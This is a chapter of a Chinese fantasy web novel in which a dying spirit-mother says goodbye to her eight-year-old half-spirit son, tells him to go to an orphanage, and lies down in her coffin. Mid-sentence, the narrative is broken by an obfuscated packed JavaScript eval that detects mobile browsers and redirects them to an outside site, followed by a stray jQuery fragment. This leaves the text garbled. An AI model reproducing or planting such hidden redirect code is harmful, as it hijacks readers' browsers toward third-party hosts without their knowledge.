李泛玉来到阿娘的床边,在远处时迅速看了几眼阿娘的脸色,走近后并不再看她的脸,如平常一样,给她掖了掖被角,换了杯热茶。 每次出门时,他都会支个小桌子,再把茶壶和杯子放在阿娘的床边,方便她取用。 “等下我就用些碎布稻草,把窗户边沿裹住,到时候就不会被风吹得咯吱咯吱响了。”李泛玉说道。 洛娘向他伸出手,李泛玉忙握住她的手,出乎他的意料的是,今天阿娘的手格外温暖,不像往日一样如冰似霜的冷,都衬得他的手有点凉了。 李泛玉的心里瞬间又冒出些许期待之意,又快速瞥了一眼阿娘的脸色,就像他刚刚看见的那样,比往日气色好上了不少。 洛娘牵着他稚嫩的小手,眼睛忽然瞟到他空荡荡的手腕,问道,“怎么没买五春绳?” 李泛玉下意识想缩回手,却还是没动,只是低头嘟囔着,“五春绳年年都戴,也没什么意思。” “外面热闹吗?”洛娘又问。 “和往年差不多,左不过还是那些炼药庆典,没多大个看头。”李泛玉顿了一下,又说道,“等到立夏的炎帝节,阿娘应该也好得差不多,到那个时候和我一同出去吧。” “到时候我给阿娘编五赤绳。” 洛娘没有说话,只是摊开他的右手掌,轻轻划着他的掌心纹,“我儿的命线长得好。” 李泛玉抿直唇。 洛娘又捻着他的手指头,每一个都仔细看着,嘴里念叨着,“一螺穷,二螺富,三螺四螺开当铺,五螺六螺会存钱,七螺八螺是强者,九螺十螺享清福。” “我儿刚刚好有九个螺。” 李泛玉也低头看着自己的指头螺纹,“阿娘,这个不准的。” 洛娘轻轻揪了揪他的指头,“你认为它准,它就会准,你认为它不准,它就不准。” “人的日子往往在人的一念之间。” 不知为何,李泛玉心里莫名不安起来,他把自己手拿回来,“阿娘,差不多到你吃药的时候了,我去给你熬药。” 他起身,洛娘按住他的手臂,朝他摇摇脑袋了。 李泛玉直直坐回到小凳子上,他有种预感,阿娘的话他不想听,还有一种预感,他以后可能再也高兴不起来了。 李泛玉双目茫然地看着病榻上的人。 洛娘看着他这副模样,双眼终是忍不住湿了,她摸着他的脸蛋,这是她的孩子,只有八岁大,这样的小,他的阿爹是靠不住了,他的阿娘也要彻底离开她了,她的孩子,这样小,该怎么过? “明奴,明奴……” 洛娘右手捧起他的脸颊,“你是个聪明的孩子……” 李泛玉只是看着她,黑玉琉璃般的眼珠清晰透着女人的身影。 “是阿娘对不住你,擅自把你带到这个危险的世界上,而现在,阿娘却要先走了……” 李泛玉用脸颊蹭了一下她的掌心,左手按住她的手背,用力往他的脸上贴了贴,“阿娘,你的手是热的,不是已经在变好了吗?” 洛娘朝他温柔地笑了笑,“你知道的,阿娘是灵魅,借助自然灵气修来此身,现在,天地要收回这些灵气了,我有预感的,就是此刻了。” 人修炼时所溢出的邪念恶气,化为朔鬼;灵兽不像人有邪念,它们在修炼过程中溢出的灵气,逐渐化为灵魅,灵魅再借助天地五行元素,可化为具体的形,一旦化形,便再也无法变回去了。 也因此,灵魅天生与天材地宝气场契合。 洛娘选择成为人族 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16283212|182557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,后来与一个叫李闻溪的修士相爱,有了孩子。 “你是半魅。”洛娘握住他的手,“你告诉阿娘,半魅会如何?” 李泛玉张了两次唇,“我是半魅,平日和人族差不多,只有两点需要注意,一是我和灵魅一样,天生无痛觉,长大后和别人决斗时更要小心,决斗完后一定要仔细检查身体,防止有伤处没有发现。” “第二点,天生会吸引一些天灵地材,对于这些不可生贪心,不可强求,更不可生出执念。” “好孩子。”洛娘拉过他,紧紧抱入怀中,摸了摸他的脑袋,在他看不见的地方,终于忍不住落下泪来。 “等阿娘走了以后,你就去济婴堂里,就先在那里苟着慢慢活。”洛娘摸着他的脑袋,指尖轻轻顺着他的头发。 她察觉到怀里的小人抓紧了自己的衣服,“……你,你先慢慢长大,慢慢积攒实力,等长大后,天高海阔任鸟飞。” 洛娘能感受到自己正在迅速衰败中,她往上擦掉自己的眼泪,松开怀里的小人,“明奴,看着阿娘。” 七岁的李泛玉双眼通红地看着她。 “答应阿娘,绝不去找你的阿爹,自己过自己的。” 李泛玉并不吭声。 洛娘按住他的肩膀,矮下肩膀,让对面的小人对上自己的眼睛,“答应阿娘好吗?” “只要你活在这世上,就等同于阿娘活在这世上。” 李泛玉仍不吭声,抿紧了嘴巴,洛娘也不再说话,只是这样看着他,没过一会儿,李泛玉挤出一个字,“好。” 得到他的回答,洛娘终于卸下所有力气,李泛玉忙扶住她,洛娘朝他笑了笑,“出门往东,顺着河流往下走,第三处人家。” “出去吧,你知道的。” “阿娘……” “去吧,你知道的,再回来的时候……不要再进来了。” “阿娘……” 我不想走…… 洛娘嗯了一声,看了他一眼,重新躺下,闭上眼睛,再也不看他。 李泛玉泪眼朦胧地看着她,握着拳头给自己擦掉眼泪,往后退了一步,跪下,认真磕了三个头,起身,用力平复着抽噎,“……阿娘,阿娘,我……我走了。” 说完,李泛玉转身,又回头看了她一眼,收回视线,朝门口走去,再也没有回过头。 洛娘睁开眼睛,看着他背影逐渐变小,直至彻底不见。 她的孩子……还这样小,该怎么在这世间长大? 是她对不住他,甚至没有给他一个知痛的身体,如果有一天,他无意受了伤,他能知道吗?身边能有个好心人提醒他吗? 洛娘撑着床,慢慢坐了起来,扶着床架,站了起来,一步一步挪向屏风后。 地上用粗麻布盖着一长盒东西,洛娘弯腰揭开,是一口藤编的棺材,她抓住棺材一角,拖着它往外走,拖一步歇一步,终于将它拖到了内室中央。 坐在棺材藤编盖上休息了一会儿,洛娘重新站起身来,移开藤编盖,看了一会儿,一脚踏入。 李泛玉跨出门槛,双臂绕在背后,带上了门,他看着对面那颗枯树,不知从哪儿飘来的青色长幡挂在树枝上,轻轻晃着。 他最讨厌青帝节了。 李泛玉擦掉眼泪,往东小跑而去。